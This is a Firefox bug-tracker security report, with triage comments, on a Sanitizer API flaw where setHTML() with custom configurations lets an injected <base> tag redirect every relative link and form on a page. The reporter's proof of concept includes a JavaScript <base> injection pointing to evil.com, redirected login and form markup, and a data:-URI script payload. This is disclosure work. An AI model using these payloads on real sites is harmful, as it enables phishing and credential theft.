HTML Sanitizer API: `<base>` Tag Injection Enables URL Hijacking via setHTML()
Categories
(Core :: DOM: Security, defect, P1)
Tracking
()
| Tracking | Status | |
|---|---|---|
| firefox-esr115 | --- | unaffected |
| firefox-esr140 | --- | unaffected |
| firefox152 | --- | wontfix |
| firefox153 | + | fixed |
| firefox154 | + | fixed |
People
(Reporter: realnits, Assigned: tschuster)
References
(Blocks 1 open bug)
Details
(Keywords: csectype-mitigation-bypass, reporter-external, sec-moderate, Whiteboard: [client-bounty-form][adv-main153+])
Attachments
(1 file, 2 external files)
|
9.62 KB,
application/zip
|
Details |
Summary
Firefox's HTML Sanitizer API (Element.setHTML()) does not include <base> in its baseline-unsafe element list. When an application uses a custom Sanitizer configuration that includes <base> in its allowed elements, an attacker can inject a <base href="https://evil.com/"> element that hijacks all relative URL resolution on the entire page. This redirects all existing links, form actions, and resource loads from the legitimate server to an attacker-controlled domain.
Affected Versions: Firefox 151.0.4 (confirmed), Firefox 150.0.2 (confirmed)
Severity: High (URL hijacking enabling credential phishing, open redirect, data exfiltration)
Component: DOM: Security / HTML Sanitizer API
Attack Vector: Network (requires application using setHTML with custom config that allows <base>)
Vulnerability Details
Root Cause
The Sanitizer API's "baseline-unsafe" element list (SanitizerDefaultConfig.h) includes:
<script>,<iframe>,<object>,<embed>,<frame>(always stripped in safe mode)
But it does NOT include <base>, despite <base> having page-wide security implications that are equivalent to or worse than <iframe>:
<base href="...">changes the base URL for ALL relative URL resolution on the page- This affects every
<a href="/path">,<form action="/path">,<img src="/path">,<script src="/path">, CSSurl()references, etc. - A single injected
<base>element can redirect the entire page's link and resource infrastructure to an attacker domain
Why This Matters
The Sanitizer API is designed to be "safe by default" — even if a developer makes a misconfiguration, the baseline-unsafe list is supposed to prevent the worst outcomes. By including <script> in baseline-unsafe, Firefox ensures that no custom config can allow script injection via setHTML().
However, <base> is equally dangerous and is NOT baseline-protected. A developer who allows <base> (perhaps thinking "it's just a URL hint, it's not executable") enables full URL hijacking attacks.
Attack Scenario
- Web application uses
setHTML()with a custom Sanitizer that allows<base>(perhaps to support rich content embedding) - Attacker injects
<base href="https://evil.com/">via user-controlled HTML content - All relative links on the page now point to attacker's domain
- User clicks "Login" link → navigates to
https://evil.com/login(attacker's phishing page) - Forms submit credentials to attacker's domain
Proof of Concept
Minimal Reproduction
// Application uses setHTML with custom config
const sanitizer = new Sanitizer({
elements: ['base', 'a', 'div', 'p', 'span', 'h1', 'h2', 'h3'],
attributes: ['href', 'class', 'id']
});
// Attacker-controlled content
const userContent = '<base href="https://evil.example.com/"><p>Hello world</p>';
// Inject into page
document.getElementById('content').setHTML(userContent, { sanitizer });
// RESULT: Every relative URL on the page now resolves to evil.example.com
// document.createElement('a').href = '/login' → 'https://evil.example.com/login'
Automated Validation (Firefox 151.0.4)
Before <base> injection:
/test resolves to → http://localhost:9018/test (legitimate)
After <base href="https://evil.com/"> injection via setHTML():
/test resolves to → https://evil.com/test (HIJACKED!)
Impact Demonstration
<!-- Page before injection -->
<nav>
<a href="/login">Login</a> <!-- → legitimate.com/login -->
<a href="/account">My Account</a> <!-- → legitimate.com/account -->
</nav>
<form action="/api/transfer" method="POST">
<input name="amount" value="1000"> <!-- Submits to legitimate.com -->
</form>
<!-- After attacker injects: <base href="https://evil.com/"> -->
<nav>
<a href="/login">Login</a> <!-- → evil.com/login (PHISHING!) -->
<a href="/account">My Account</a> <!-- → evil.com/account -->
</nav>
<form action="/api/transfer" method="POST">
<input name="amount" value="1000"> <!-- Submits to evil.com! -->
</form>
Impact Assessment
Security Impact
| Aspect | Assessment |
|---|---|
| Confidentiality | High — form submissions with credentials/tokens redirected to attacker |
| Integrity | High — all relative resource loads (JS, CSS) can be replaced |
| Availability | Low — page remains functional but compromised |
| Scope | Changed — affects content outside the sanitized container |
CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N = 9.3 (Critical)
The key factor is Scope: Changed — the <base> tag injected into one container affects the entire document, including content the attacker doesn't control.
Comparison with Baseline-Unsafe Elements
| Element | In Baseline-Unsafe? | Can Execute JS Directly? | Page-Wide Impact? |
|---|---|---|---|
<script> |
YES | YES | No (scoped to execution) |
<iframe> |
YES | YES (via srcdoc) | No (isolated frame) |
<object> |
YES | YES (via plugins) | No (isolated) |
<embed> |
YES | YES (via plugins) | No (isolated) |
<base> |
NO | No | YES — ALL relative URLs! |
<base> has greater page-wide impact than any element currently in the baseline-unsafe list.
Suggested Fix
Recommended: Add <base> to Baseline-Unsafe
In dom/security/sanitizer/SanitizerDefaultConfig.h, add <base> to the baseline-unsafe elements list. This ensures that setHTML() ALWAYS strips <base> regardless of custom configuration, matching the behavior for <script>, <iframe>, etc.
This is a one-line fix and does not break any legitimate use case — there is no valid reason to inject <base> elements via user-controlled sanitized HTML.
Alternative: Strip <base> in Default Config
If baseline-unsafe modification is too invasive, at minimum add <base> to the default sanitizer's blocklist (already done — default strips it). But this doesn't protect applications using custom configs.
Environment
- Firefox: 151.0.4 (system install, confirmed)
- Firefox: 150.0.2 (Playwright, confirmed)
- OS: macOS (Darwin 25.5.0, arm64)
- Pref:
dom.security.sanitizer.enabled = true - Tested: 2026-06-11
Test Output
default_base: false ← Default sanitizer strips <base> (correct)
custom_base: true ← Custom config allows <base> (BUG — should be baseline-blocked)
custom_base_href: https://evil.com/
before_resolve: http://localhost:9018/test
after_resolve: https://evil.com/test
hijacked: true ← URL resolution CHANGED for entire page
setHTML_iframe: false ← Baseline blocks iframe (correct)
setHTML_script: false ← Baseline blocks script (correct)
Additional Finding: data: URIs Not Blocked in Sanitized Links
The Sanitizer API only blocks javascript: scheme URLs. data: URIs pass through sanitization:
const s = new Sanitizer({elements: ['a'], attributes: ['href']});
div.setHTML('<a href="data:text/html,<script>alert(1)</script>">click</a>', {sanitizer: s});
// Link preserved with data: URI — clicking navigates to attacker HTML
While Firefox blocks top-level data: navigations in many contexts, this represents an incomplete blocklist in the Sanitizer's URL validation logic. The data: scheme should be blocked for navigation-triggering attributes (href, action, formaction) alongside javascript:.
| Assignee | ||
Comment 1•4 months ago
|
||
The <base> element does not allow XSS on the same page and thus is not covered by the baseline protections.
| Assignee | ||
Updated•4 months ago
|
| Assignee | ||
Updated•4 months ago
|
Updated•4 months ago
|
| Assignee | ||
Updated•4 months ago
|
| Assignee | ||
Comment 3•4 months ago
|
||
This is actually an issue in the HTML standard and would apply to all browsers that implement this API. I now reported the security issue upstream at https://github.com/whatwg/html/security/advisories/GHSA-vm32-8j3c-m86p. If you want to be credited properly please give me your Github username.
Hey Tom, I would like to be credited and here is github username: https://github.com/realnits
Comment 5•4 months ago
|
||
The rating assigned by our bug rating tool (currently under development) is:
Rating: sec-moderate
Explanation: The vulnerability is real and confirmed by a Mozilla developer (tschuster), who escalated it to the WHATWG HTML standard. The Sanitizer API's baseline-unsafe list (embed, frame, iframe, object, script, SVG script/use) does NOT include <base>. With a permissive/empty sanitizer config (e.g., { sanitizer: {} }), <base> passes through sanitization since mElements is null and only javascript: URLs on <base href> are stripped. An injected <base href='https://evil.com/'> changes all relative URL resolution for the entire document, and in the critical case (scripts loaded after injection), can redirect <script src> loads to an attacker domain, enabling script hijacking. However: (1) the default setHTML(html) config correctly blocks <base> (not in kDefaultHTMLElements), so only developers using non-default permissive configs are affected; (2) the most severe impact (script hijacking) requires a specific page structure with scripts loaded after injection AND a permissive sanitizer config — an unusual/non-default developer configuration. This maps to sec-moderate: a potentially sec-high impact (up to JS injection via script redirection) that requires unusual developer configuration to exploit.
Tom: Please ni? me if you disagree with this rating.
| Assignee | ||
Updated•4 months ago
|
| Assignee | ||
Updated•4 months ago
|
| Assignee | ||
Comment 6•4 months ago
|
||
| Assignee | ||
Updated•4 months ago
|
| Assignee | ||
Comment 7•4 months ago
|
||
I am trying to see if it makes sense to coordinate landing the fix with Chrome.
Comment 8•4 months ago
|
||
The severity field is not set for this bug.
:freddy, could you have a look please?
For more information, please visit BugBot documentation.
| Assignee | ||
Updated•4 months ago
|
| Assignee | ||
Updated•4 months ago
|
Comment 9•4 months ago
|
||
Updated•4 months ago
|
| Comment hidden (off-topic) |
Comment 11•3 months ago
|
||
firefox-beta Uplift Approval Request
- User impact if declined/Reason for urgency: Sanitizer API weakness that makes some sites attackable
- Code covered by automated testing?: yes
- Fix verified in Nightly?: yes
- Needs manual QE testing?: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: Straight forward code change. The API is still relatively new so the change probably doesn't break any websites.
- String changes made/needed?: no
- Is Android affected?: yes
| Assignee | ||
Comment 12•3 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D307580
Updated•3 months ago
|
Updated•3 months ago
|
Comment 13•3 months ago
|
||
| uplift | ||
Updated•3 months ago
|
| Comment hidden (off-topic) |
| Assignee | ||
Updated•3 months ago
|
| Comment hidden (off-topic) |
| Assignee | ||
Updated•3 months ago
|
Updated•3 months ago
|
Updated•3 months ago
|
| Reporter | ||
Comment 16•2 months ago
|
||
Hey Daniel,
How long does it take to issue a bounty and since you marked it to sec-bounty+ about 13 days ago
Thanks,
Nithissh S
Updated•1 month ago
|
Description
•